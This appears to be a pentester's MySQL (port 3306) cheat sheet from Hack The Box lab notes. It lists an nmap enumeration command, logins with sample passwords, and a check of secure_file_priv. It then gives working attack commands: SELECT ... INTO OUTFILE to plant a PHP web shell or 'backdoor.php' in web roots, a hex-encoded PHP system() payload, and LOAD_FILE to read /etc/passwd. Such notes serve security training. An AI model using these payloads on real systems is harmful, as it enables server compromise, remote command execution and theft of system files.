[3306] Mysql
#Enumerate Mysql
Intrusionz3r0X@htb[/htb]$ sudo nmap 10.129.14.128 -sV -sC -p3306 --script mysql*
#Interaction with the MySQL Server
Intrusionz3r0X@htb[/htb]$ mysql -u root -pP4SSw0rd -h 10.129.14.128
C:\\htb> mysql.exe -u username -pPassword123 -h 10.129.20.13
#Check if secure_file_priv is enabled
## If empty, the variable has no effect, which is not a secure setting.
## If set to the name of a directory, the server limits import and export operations to work only with files in that directory. The directory must exist; the server does not create it.
## If set to NULL, the server disables import and export operations.
mysql> show variables like "secure_file_priv";
#Write local files
mysql> SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php';
mysql> SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE 'C:\\\\xampp\\\\htdocs\\\\backdoor.php';
#system($_GET['cmd']); ?>
0x3c3f7068702073797374656d28245f4745545b27636d64275d293b203f3e
#Read local dfiles
mysql> select LOAD_FILE("/etc/passwd");Last updated